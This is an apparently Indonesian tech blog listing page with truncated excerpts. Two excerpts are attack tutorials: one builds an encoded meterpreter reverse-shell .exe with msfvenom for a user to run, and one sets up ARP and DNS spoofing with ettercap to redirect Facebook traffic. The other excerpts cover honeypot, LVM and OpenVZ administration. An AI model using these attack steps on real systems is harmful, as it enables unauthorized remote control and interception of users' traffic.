Hack Windows 7 SP1 dengan Metasploit pada Kali Linux

Hack Windows 7 SP1 dengan Metasploit pada Kali Linux

Security, Windows
Salah satu jenis hacking yang ada yaitu operating system  hacking, untuk melakukan hacking operating system kali ini saya akan share tentang membobol Windows 7 SP1 dengan menggunakan metasploit yang ada pada kali linux. Asumsi saya adalah windows sebagai target tidak memiliki antivirus serta kali linux dan target windows berada pada satu jaringan menggunakan IP: Windows : 192.168.1.100 Kali Linux : 192.168.1.200 Cara kerja hacking kali ini dengan memanfaatkan msfvenom untuk membuat exploit dan payload menjadi sebuah file .exe. File ini yang nanti akan dikirim ke user untuk dieksekusi sehingga kali linux bisa mendapatkan sesi control terhadap windows menggunakan meterpreter. Langkah langkah yang dilakukan adalah: Buat exploit dengan msfvenom, buka terminal kali linux dan ketik perintah berikut root@kali# cd /var/www/ root@kali# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.200…
Read More
DNS dan ARP Poison dengan Ettercap di Kali Linux

DNS dan ARP Poison dengan Ettercap di Kali Linux

Linux, Security
Menyambung post saya yang sebelumnya bahwa ARP Poison untuk melakukan sniffing bisa saja digabung dengann menggunakan DNS Poison, atau yang biasa disebut DNS Spoof. Untuk melakukannya masih tetap menggunakan tools yang sama yaitu ettercap. Langsung saja, untuk melakukannya buka terminal kali inux dan ketik perintah berikut nano /etc/ettercap/ettercap.conf Lalu temukan baris konfigurasi #if you use iptables : dan hilangkan tanda komentar pada 2 baris dibawahnya, seperti gambar berikut simpan dan keluar dari file tersebut. Selanjutnya kita akan coba memebelokkan dns untuk domain facebook (misalkan), maka edit file berikut nano /etc/ettercap/etter.dns Cari baris dengan kata "microsoft sucks" dan tambahkan domain yang ingin kita belokkan ke ip kita. Seperti pada gambar berikut: Selanjutnya kita harus menjalankan service web, kareana kali linux akan membelokkan ke ip kali linux kita sendiri. ketik perintah service…
Read More
Instalasi Dionaea Web Frontend

Instalasi Dionaea Web Frontend

Linux, Networking, Security, Server
Web portal untuk dionaea malware lab dibuat dalam bahasa python django untuk itu perlu dipasang beberapa aplikasi tambahan. Untuk memasang frontend web, langkah langkahnya sebagai berikut: apt-get install python-pip python-netaddr pip install Django pip install pygeoip pip install django-pagination pip install django-tables2 pip install django-compressor pip install django-htmlmin Tambahkan beberapa plugin untuk django. Install django-tables2-simplefilter cd /opt/ wget https://github.com/benjiec/django-tables2-simplefilter/archive/master.zip -O django-tables2-simplefilter.zip unzip django-tables2-simplefilter.zip mv django-tables2-simplefilter-master/ django-tables2-simplefilter/ cd django-tables2-simplefilter/ python setup.py install Install pySubnetTree cd /opt/ git clone https://github.com/bro/pysubnettree.git cd pysubnettree/ python setup.py install Install Node.Js karena dionaeafr menggunakan nodejs dalam script code nya cd /opt/ wget https://nodejs.org/dist/v0.8.16/node-v0.8.16.tar.gz tar xzvf node-v0.8.16.tar.gz cd node-v0.8.16 ./configure make make install npm install -g less npm install -g promise Download dan ekstrak dionaeafr cd /opt/ wget https://github.com/RootingPuntoEs/DionaeaFR/archive/master.zip -O DionaeaFR.zip unzip DionaeaFR.zip mv DionaeaFR-master/ DionaeaFR cd…
Read More
Memperbesar Partisi Root pada LVM

Memperbesar Partisi Root pada LVM

Linux, Server
Baik, langsung saja karena saya sudah pernah post tentang LVM. Kali ini saya mau share tentang cara memperbesar partisi / (root) dengan cara mengambil space pada /home. Secara default instalasi, jika kita menginstall CentOS dan Use Entire Disk, maka centos akan membuat LVM dengan ukuran partisi root yang disesuaikan (dalam kasus saya 50GB). Nah apabila partisi tersebut dirasakan kurang, kita bisa memperbesar ukurannya dengan cara memperkecil /home dan mengambil space nya. Berikut langkah-langkahnya: Unmount /home/ dengan perintah umount /home Selanjutnya check partisi /home apakah ada error atau tidak, dan perkecil ukurannya sesuai dengan kebutuhan. Perintahnya: e2fsck -f /dev/mapper/vg_centos-lv_home resize2fs /dev/mapper/vg_centos-lv_home 100GB Ukuran /home akan menjadi 100GB, dan kita harus melakukan pengurangan pada LVM nya dengan perintah lvreduce -L 100G /dev/mapper/vg_centos-lv_home Tambahkan sisa space yang dikurangi ke partisi / (root) dengan…
Read More
Instalasi Heartbeat pada OpenVZ

Instalasi Heartbeat pada OpenVZ

Cloud Computing, Linux, Server, Virtualization
Heartbeat merupakan sebuah aplikasi yang bermanfaat untuk failover dan failback pada sebuah cluster, artinya ketika kita mempunyai sebuah layanan pada 2 server maka kita bisa membuat layanan tersebut terintegrasi pada dua server. Apabila server 1 mengalami down atau kerusakan, maka server 2 akan menghandle layanan tersebut. Hal ini disebut High Availability service. Jadi, apabila kita mempunyai 2 buah server untuk layanan web, jika salah satu server mengalami kerusakan maka website tersebut masih bisa diakses karena dilayani oleh server2. Oke, pertanyaannya bagaimana jika diterapkan pada cloud computing dengan OpenVZ? Ternyata tidak mudah konfigurasinya, karena OpenVZ merupakan container yang tidak memiliki akses langsung terhadap hardware. Kita mulai dari proses pembuatan Node, dengan langkah langkah berikut Pembuatan Node1 vzctl create 12 --hostname heartbeat1 --ostemplate centos6 vzctl set 12 --netif_add eth0 --save vzctl set…
Read More
Membuat Interface Bridge pada OpenVZ

Membuat Interface Bridge pada OpenVZ

Cloud Computing, Linux, Server, Virtualization
Secara default OpenVZ terkonfigurasi dengan interface yang disebut venet, jika kita membuat node maka pada node tersebut akan terkonfigurasi secara otomatis interface venet0:0. Namun demikian untuk keperluan tertentu kita bisa mengkonfigurasi OpenVZ untuk menggunakan bridge. Konfigurasi ini sama persis dengan proses pembuatan Bridge secara umum. Oke, langsung saja. Untuk membuat bridge, pertama sekali kita harus memasang utilitas bridge tersebut pada server OpenVZ kita (dalam hal ini saya menggunakan CentOS): yum -y install bridge-utils Jika sudah, kita harus merubah konfigurasi eth0 agar tidak langsung memiliki IP dan menjadi member bridge kita. nano /etc/sysconfig/network-scripts/ifcfg-eth0 Sesuaikan isinya seperti berikut: DEVICE=eth0 TYPE=Ethernet ONBOOT=yes HWADDR=5C:F3:FC:31:0B:EE IPV6INIT=no USERCTL=no BRIDGE=vmbr0 Jika sudah selesai, selanjutnya buat sebuah interface bridge dan konfigurasi dengan perintah berikut echo 'EXTERNAL_SCRIPT="/usr/sbin/vznetaddbr"' > /etc/vz/vznet.conf nano /etc/sysconfig/network-scripts/ifcfg-vmbr0 Isikan baris berikut (sesuaikan konfigurasi IP, Mask dan…
Read More